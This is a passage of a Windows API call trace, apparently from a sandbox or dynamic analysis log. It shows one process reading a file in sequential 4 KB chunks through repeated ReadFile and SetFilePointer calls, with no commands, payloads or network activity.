ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.145] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x2f000 [0115.145] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.145] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x30000 [0115.145] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.145] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x31000 [0115.146] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.146] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x32000 [0115.146] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.146] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x33000 [0115.146] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.146] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x34000 [0115.147] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.147] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x35000 [0115.147] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.147] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x36000 [0115.147] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.148] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x37000 [0115.148] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.148] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x38000 [0115.149] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.149] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x39000 [0115.149] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.149] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x3a000 [0115.149] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.150] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x3b000 [0115.150] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.150] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x3c000 [0115.150] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.150] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x3d000 [0115.150] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.150] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x3e000 [0115.151] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.151] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x3f000 [0115.151] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.151] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x40000 [0115.151] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.152] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x41000 [0115.152] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.152] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x42000 [0115.152] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.152] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x43000 [0115.152] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.152] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x44000 [0115.153] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.153] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x45000 [0115.153] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.153] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x46000 [0115.153] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.154] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x47000 [0115.154] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.154] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x48000 [0115.154] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.154] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x49000 [0115.154] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.155] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x4a000 [0115.155] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.155] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x4b000 [0115.155] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.155] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x4c000 [0115.155] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.156] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x4d000 [0115.156] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.156] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x4e000 [0115.156] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.158] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x4f000 [0115.158] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.158] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x50000 [0115.158] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.159] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x51000 [0115.159] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.159] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x52000 [0115.159] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.159] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x53000 [0115.160] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.160] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x54000 [0115.160] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.160] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x55000 [0115.160] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.160] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x56000 [0115.161] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.161] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x57000 [0115.161] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.161] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x58000 [0115.161] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.161] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x59000 [0115.162] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.162] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x5a000 [0115.162] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.162] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x5b000 [0115.162] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.163] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x5c000 [0115.163] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.163] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x5d000 [0115.163] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.211] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x5e000 [0115.211] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.211] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x5f000 [0115.211] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.212] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x60000 [0115.212] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.212] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x61000 [0115.212] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.212] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x62000 [0115.212] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.213] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x63000 [0115.213] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.213] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x64000 [0115.213] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.213] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x65000 [0115.213] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.214] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x66000 [0115.214] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.214] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x67000 [0115.214] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.214] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x68000 [0115.214] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, 